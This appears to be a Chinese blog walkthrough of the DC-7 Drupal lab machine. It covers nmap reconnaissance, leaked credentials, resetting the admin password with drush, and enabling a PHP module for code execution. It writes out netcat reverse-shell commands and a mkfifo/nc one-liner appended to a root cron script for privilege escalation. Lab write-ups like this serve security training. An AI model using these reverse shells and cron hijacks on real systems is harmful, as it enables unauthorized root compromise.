DC7靶机渗透全流程

starme / 2024-10-19 / 原文

DC-7 √ Drupal

参考:https://blog.csdn.net/weixin_43583637/article/details/102809227

1.nmap

nmap扫IP与端口:

nmap -sP 192.168.40.148/24
nmap -A 192.168.40.167 -p 0-65535

image-20230801110821827

image-20230801110911873

2.wappalyzer

image-20230801111016741

3.信息泄露

image-20230817153215959

搜索:@DC7USER

image-20230801112552850image-20230817153259317

image-20230817153320426

image-20230817153333097

重要文件:config.php

该配置文件暴露了账号和密码

username = "dc7user";
password = "MdR3xOgB7#dW";

SSH连接:

image-20230801113834374

查看文件:

ls
cd backups

image-20230801114058926

发现了两个.gpg结尾的文件

.gpg 文件是使用 GnuPG(GNU Privacy Guard)工具进行加密操作后生成的文件。GnuPG 是一个免费、开源的加密软件,用于对文件和通信进行加密、签名和验证。

.gpg 文件是通过将原始文件使用 GnuPG 进行加密得到的。它们包含了经过加密处理的数据,并且只能被拥有相应私钥的人解密。GnuPG 使用一种称为“公钥加密”的加密技术,其中包括公钥和私钥。

在使用 GnuPG 加密时,接收者会生成一对密钥:公钥和私钥。发送者使用接收者的公钥对要加密的文件进行加密,并生成一个 .gpg 文件。然后,发送者将该文件发送给接收者。接收者可以使用自己的私钥解密 .gpg 文件,并还原为原始文件。

此路不通,则查看mbox文件:

发现这是一个计划任务,定时备份,并且备份执行的源码在/opt/scripts目录下

image-20230801114740993

cd /opt/scripts
cat backups.sh

image-20230801114958190

发现了两个重要命令:drush和gpg

4.修改admin密码

gpg命令用来加密

drush命令是drupal框架中用来做一些配置的命令,可以改变用户名和密码

cd /var/www/html
ls

image-20230801115512433

由于网站一般都有一个管理员-admin用户,所以这里使用drush命令修改admin用户的密码

drush user-password admin --password="666"

简单解释:

image-20230801120040807

image-20230801120139821

回到网页并点击右上角的Log in 后:

image-20230801120335625

image-20230801120415800

准备反弹shell

5.反弹shell-www-data

image-20230801120822988

image-20230801120902092

image-20230801120958744

现在需要将PHP单独作为一个模块导入:

PHP介绍页面与模块包下载地址:

https://www.drupal.org/project/php
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

image-20230802203421160

image-20230802203457847

image-20230802203608264

image-20230802203814916

image-20230802203900531

然后来到网站的欢迎页面,也就是首页的编辑区:

image-20230802204120548

image-20230802204417712

然后按"Save"保存

image-20230802204538766

通过蚁剑连接:

image-20230802204602161

接下来反弹shell与切换交互式shell:

image-20230802204818769

nc -e /bin/bash 192.168.40.148 2333
nc -lvnp 2333
python -c "import pty;pty.spawn('/bin/bash');"

发现当前用户是www-data,在/opt/scripts目录下的backups.sh脚本文件所属的组是www-data,所以当前用户可以对这个脚本文件进行操作,进行反弹shell

6.通过定时任务再次反弹shell-root

image-20230802205730639

可见得backups.sh为root用户所建,属于www-data组.

且前面的-rwxrwxr-x表示了同组用户对backups.sh都有r,w,x的权限

# 靶机:/opt/scripts
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.40.148 2333 >/tmp/f" >> backups.sh
# kali:
nc -lvnp 2333

然后稍等片刻

image-20230802211636115

注意不能在添加完反弹shell语句后使用./backups.sh来执行此脚本.

执行后虽然能反弹shell,但是弹得是www-data用户的shell,如图:

image-20230802211811601

接下来拿flag:

image-20230802211859583

7.小结

# nmap
nmap -sP 192.168.40.148/24
nmap -A 192.168.40.167 -p 0-65535
# wappalyzer
Drupal
# 信息泄露
github->账号密码(config.php)->SSH
# cd /var/www/html并修改admin用户密码
drush user-password admin --password="666"  # Drupal下特有
# 安装PHP模块并反弹普通用户的shell(或者是连蚁剑)
nc -e /bin/bash 192.168.40.167
# 通过定时任务反弹root用户shell
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.40.148 2333 >/tmp/f" >> backups.sh